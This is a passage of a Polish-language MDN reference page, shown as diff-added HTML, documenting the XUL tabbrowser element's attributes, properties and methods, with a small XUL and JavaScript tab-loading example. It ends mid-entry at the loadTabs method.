+</dt><dd> <a href="#m-addProgressListener">addProgressListener</a>, <a href="#m-addTab">addTab</a>, <a href="#m-appendGroup">appendGroup</a>, <a href="#m-getBrowserForDocument">getBrowserForDocument</a>, <a href="#m-getBrowserForTab">getBrowserForTab</a>, <a href="#m-getNotificationBox">getNotificationBox</a>, <a href="#m-goBack">goBack</a>, <a href="#m-goBackGroup">goBackGroup</a>, <a href="#m-goForward">goForward</a>, <a href="#m-goForwardGroup">goForwardGroup</a>, <a href="#m-goHome">goHome</a>, <a href="#m-gotoIndex">gotoIndex</a>, <a href="#m-loadGroup">loadGroup</a>, <a href="#m-loadTabs">loadTabs</a>, <a href="#m-loadOneTab">loadOneTab</a>, <a href="#m-loadURI">loadURI</a>, <a href="#m-loadURIWithFlags">loadURIWithFlags</a>, <a href="#m-reload">reload</a>, <a href="#m-reloadAllTabs">reloadAllTabs</a>, <a href="#m-reloadTab">reloadTab</a>, <a href="#m-reloadWithFlags">reloadWithFlags</a>, <a href="#m-removeAllTabsBut">removeAllTabsBut</a>, <a href="#m-removeCurrentTab">removeCurrentTab</a>, <a href="#m-removeProgressListener">removeProgressListener</a>, <a href="#m-removeTab">removeTab</a>, <a href="#m-replaceGroup">replaceGroup</a>, <a href="#m-stop">stop</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady</h3>
+<h4 id="Kod_XUL" name="Kod_XUL"> Kod XUL </h4>
+<p>Poniższy kod jest przykładem elementu tabbox z trzema kartami, gdzie każda zawiera element browser zamiast elementów tabpanel. Pierwsza karta jest wczytana z zawartością HTML, a pozostałe dwie karty są puste:
+</p>
+<pre>&lt;vbox&gt;
+ &lt;tabbox id="tabBrowser"&gt;
+ &lt;tabs&gt;
+ &lt;tab label="Tab1"/&gt;
+ &lt;tab label="Tab2"/&gt;
+ &lt;tab label="Tab3"/&gt;
+ &lt;/tabs&gt;
+ &lt;tabpanels width="500" height="500"&gt;
+ &lt;browser id="browserTab1" src="http://www.mozilla.org"/&gt;
+ &lt;browser id="browserTab2"/&gt;
+ &lt;browser id="browserTab3"/&gt;
+ &lt;/tabpanels&gt;
+ &lt;/tabbox&gt;
+ &lt;hbox&gt;
+ &lt;button id="btnLoadBrowserContent"
+ label="Wczytaj URL" oncommand="loadURL(document.getElementById('browserTab2'),'http://developer.mozilla.org')"/&gt;
+ &lt;/hbox&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="JavaScript" name="JavaScript"> JavaScript </h4>
+<p>Poniższy kod ustawi atrybut src elementu browser z id="browserTab2" do adresu url <a class=" external" href="http://developer.mozilla.org" rel="freelink">http://developer.mozilla.org</a>, kiedy zdarzenie oncommand zostanie odpalone po tym jak użytkownik naciśnie przycisk "Wczytaj URL".
+</p>
+<pre class="eval">function loadURL(browserElem,pUrl) {
+ //modyfikuje atrybut src elementu browser
+ browserElem.setAttribute("src",pUrl);
+}
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-autocompleteenabled">
+
+<dl><dt> <code id="a-autocompleteenabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompleteenabled">autocompleteenabled</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>true</code> włącza automatyczne uzupełnianie pól tekstowych.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autocompletepopup">
+
+<dl><dt> <code id="a-autocompletepopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletepopup">autocompletepopup</a></code>
+</dt><dd> Typ: <i>id elementu wyskakującego (popup)</i>
+</dd><dd> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code> wykorzystywanego do przechowywania wyników automatycznego uzupełniania dla tego elementu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-autoscroll">
+
+<dl><dt> <code id="a-autoscroll"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoscroll">autoscroll</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>false</code> wyłącza automatyczne przewijanie dla danej przeglądarki. Jeśli atrybut jest ustawiony na <code>true</code> lub zostanie pominięty, automatyczne przewijanie zostanie włączone lub będzie zależne od wartości opcji <code>general.autoScroll</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-contentcontextmenu">
+
+<dl>
+ <dt>
+ <code id="a-contentcontextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contentcontextmenu">contentcontextmenu</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></i>
+ </dd>
+ <dd>
+ Odniesienie do menu kontekstowego dla obszaru kontekstowego w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl>
+</div>
+<div id="a-contenttooltip">
+
+<dl>
+ <dt>
+ <code id="a-contenttooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contenttooltip">contenttooltip</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code></i>
+ </dd>
+ <dd>
+ Odniesienie do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> będącego w użyciu dla obszaru kontekstowego w <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl>
+</div>
+<div id="a-handleCtrlPageUpDown">
+
+<dl><dt> <code id="a-handleCtrlPageUpDown"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawione na <code>true</code> lub opuszczone, to klawisze &lt;tt&gt;Control&lt;/tt&gt; i &lt;tt&gt;Page Up&lt;/tt&gt; lub &lt;tt&gt;Page Down&lt;/tt&gt; mogą służyć do przełączania do następnej lub wcześniejszej karty. Jeśli ten atrybut jest ustawiony na <code>false</code>, te klawisze nie będą służyły do nawigacji pomiędzy kartami.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-onbookmarkgroup">
+
+
+<dl>
+ <dt><code id="a-onbookmarkgroup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onbookmarkgroup">onbookmarkgroup</a></code></dt>
+ <dd><strong><span class="highlightred">Nie w Firefoksie</span></strong></dd>
+ <dd>Typ:<em>Kod skryptu</em></dd>
+ <dd>Ten kode zostanie wykony, kiedy użytkownik wybierze polecenie "Bookmark this Group of Tabs".</dd>
+</dl>
+</div>
+<div id="a-onnewtab">
+
+<dl>
+ <dt>
+ <code id="a-onnewtab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onnewtab">onnewtab</a></code></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten skrypt będzie wywołany, kiedy nowy przycisk zostanie naciśnięty.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-browsers">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/browsers">browsers</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista (nodelist) elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Przechowuje listę elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl></div>
+<div id="p-canGoBack">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canGoBack">canGoBack</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można się cofnąć, a przycisk 'Wstecz' powinien być dostępny.
+</dd></dl>
+
+</div>
+<div id="p-canGoForward">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/canGoForward">canGoForward</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można przejść, a przycisk 'Do przodu' powinien być dostępny.</dd>
+</dl></div>
+<div id="p-contentDocument">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentDocument">contentDocument</a></span></code>
+</dt><dd> Typ: <i>document</i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt dokumentu w danym elemencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentTitle">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentTitle">contentTitle</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Własność tylko do odczytu zawierająca tytuł obiektu dokumentu w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentViewerEdit">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentViewerEdit">contentViewerEdit</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a>, który zajmuje się operacjami związanymi ze schowkiem w danym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentViewerFile">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentViewerFile">contentViewerFile</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerFile">nsIContentViewerFile</a></i>
+</dd><dd> Referencja do interfejsu <a href="pl/NsIContentViewerFile">nsIContentViewerFile</a> dla dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-contentWindow">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/contentWindow">contentWindow</a></span></code></dt>
+ <dd>
+ Typ: <em>window</em></dd>
+ <dd>
+ Własność tylko do odczytu zawierająca obiekt okna w elemencie.</dd>
+</dl>
+<p></p></div>
+<div id="p-currentURI">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/currentURI">currentURI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIURI">nsIURI</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca aktualnie wczytany adres URL. Aby zmienić adres URL, należy zastosować metodę <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-docShell">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/docShell">docShell</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocShell">nsIDocShell</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocShell">nsIDocShell</a> dla dokumentu.
+</dd></dl>
+
+</div>
+<div id="p-documentCharsetInfo">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/documentCharsetInfo">documentCharsetInfo</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a> dla dokumentu, stosowany do określenia, które kodowanie znaków powinno być zastosowane do wyświetlenia dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-homePage">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/homePage">homePage</a></span></code>
+</dt><dd> Typ: <i>tekstowy adres URL strony domowej</i>
+</dd><dd> Ta własność przechowuje adres strony startowej ustawionej przez użytkownika.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-markupDocumentViewer">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/markupDocumentViewer">markupDocumentViewer</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIMarkupDocumentViewer">nsIMarkupDocumentViewer</a>, który jest odpowiedzialny za rysowanie dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-securityUI">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/securityUI">securityUI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISecureBrowserUI">nsISecureBrowserUI</a></i>
+</dd><dd> Własność tylko do odczytu przechowująca obiekt, który może zostać użyty do określenia poziomu bezpieczeństwa we wczytanym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-selectedBrowser">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedBrowser">selectedBrowser</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Ta własność jest tylko do odczytu i zwraca aktualnie wyświetlany element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>.</dd>
+</dl></div>
+<div id="p-selectedTab">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedTab">selectedTab</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element tab</i>
+ </dd>
+ <dd>
+ Referencja do aktualnie zaznaczonej karty, która będzie zawsze jednym z elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>. Przydziela wartość do tej własności, aby modyfikować aktualnie zaznaczoną kartę.</dd>
+</dl></div>
+<div id="p-sessionHistory">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/sessionHistory">sessionHistory</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISHistory">nsISHistory</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsISHistory">nsISHistory</a>, przechowujący historię sesji.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-tabContainer">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabContainer">tabContainer</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></i>
+ </dd>
+ <dd>
+ Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, który zawiera karty.</dd>
+</dl></div>
+<div id="p-webBrowserFind">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webBrowserFind">webBrowserFind</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebBrowserFind">nsIWebBrowserFind</a>, którego można użyć do szukania tekstu w dokumencie.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webNavigation">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webNavigation">webNavigation</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebNavigation">nsIWebNavigation</a></i>
+</dd><dd> Własność tylko do odczytu zawiera obiekt <a href="pl/NsIWebNavigation">nsIWebNavigation</a> dla dokumentu. Wiele z jego metod może być wywoływanych bezpośrednio na dokumencie; są to takie metody jak <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack</a></code></span> i <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward</a></code></span>. Zawiera także stałe wczytywania wykorzystywane przez <span id="m-reloadWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reloadWithFlags">reloadWithFlags</a></code></span> i <span id="m-loadURIWithFlags"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURIWithFlags">loadURIWithFlags</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-webProgress">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/webProgress">webProgress</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIWebProgress">nsIWebProgress</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIWebProgress">nsIWebProgress</a>, który jest stosowany do monitorowania postępu podczas ładowania dokumentu.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl>
+ <dt>
+ <span id="m-addProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addProgressListener">addProgressListener( listener )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Dodaje do przeglądarki element nasłuchujący postęp, który będzie monitorował wczytywane dokumenty. Element nasłuchujący powinien implementować interfejs <a href="pl/NsIWebProgressListener">nsIWebProgressListener</a>.</dd>
+</dl>
+<dl><dt> <span id="m-addTab"><code><a href="http://api/pl/docs/Mozilla/Tech/XUL/Metoda/addTab">addTab( URL, referrerURI, charset, postData, owner, allowThirdPartyFixup )</a></code></span>
+</dt><dd> Zwraca typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+</dd><dd> Otwiera nową kartę, która ładuje stronę o określonym adresie <code>URL</code>. Pozostałe parametry są opcjonalne. Pasek kart pojawi się, jeśli to potrzebne.
+</dd><dd> Zobacz przykład: <a href="pl/Fragmenty_kodu/Przegl%c4%85danie_w_kartach">Fragmenty kodu:Przeglądanie w kartach</a>.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-appendGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendGroup">appendGroup( group )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Dodaje kilka nowych kart na koniec istniejących kart. Argument powinien być tablicą obiektów, jeden dla każdego dokumentu do wczytania. Obiekty mogą być definiowane w skrypcie i stanowić mogą własności <code>URI</code> dla adresu URL strony do wczytania. Własność <code>referrerURI</code> może także być opcjonalnie zastosowana do ustawienia odniesienia się do strony.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-getBrowserForDocument"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getBrowserForDocument">getBrowserForDocument( document )</a></code></span></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> dla określonego dokumentu.</dd>
+</dl>
+<dl><dt> <span id="m-getBrowserForTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getBrowserForTab">getBrowserForTab( tab )</a></code></span>
+</dt><dd> Typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+</dd><dd> Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> dla określonego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-getNotificationBox"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNotificationBox">getNotificationBox( browser )</a></code></span></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code></i>
+ </dd>
+ <dd>
+ Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code> dla określonego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>.</dd>
+</dl>
+<dl><dt> <span id="m-goBack"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBack">goBack()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę wstecz w historii.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-goBackGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goBackGroup">goBackGroup()</a></code></span></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zwraca poprzednią grupę kart.</dd>
+</dl>
+<dl><dt> <span id="m-goForward"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForward">goForward()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przejście o jedną stronę do przodu w historii.
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-goForwardGroup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goForwardGroup">goForwardGroup()</a></code></span></dt>
+ <dd>
+ <b><span class="highlightred">Nie w Firefoksie</span></b></dd>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Idzie dalej do następnej grupy kart.</dd>
+</dl>
+<dl><dt> <span id="m-goHome"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/goHome">goHome()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wczytuje stronę startową użytkownika do przeglądarki.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-gotoIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/gotoIndex">gotoIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przechodzi do strony o podanym indeksie w historii. Użyj wartości dodatniej, by przejść w przód, a ujemnej by w tył.
+</dd></dl>
+<p><br>
+</p>
+
+<dl>
+ <dt>
+ <span id="m-loadOneTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadOneTab">loadOneTab( URL, referrerURI, charset, postData, loadInBackground, allowThirdPartyFixup )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></i>
+ </dd>
+ <dd>
+ Otwiera nową kartę, która ładuje stronę o określonym adresie <code>URL</code>. Pozostałe parametry są opcjonalne. Pasek kart pojawi się, jeśli to potrzebne. Metoda ta działa tak samo, jak <a href="pl/XUL/Metoda/addTab"> addTab</a> z tą różnicą, że posiada parametr <code>loadInBackground</code>, który pozwala wybrać, czy otworzyć nową kartę w tle lub na pierwszym planie. Nie ma również parametru <code>owner</code>, jako że karta-właściciel zostanie określona automatycznie.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-loadTabs"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadTabs">loadTabs( uris, loadInBackground, replace )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
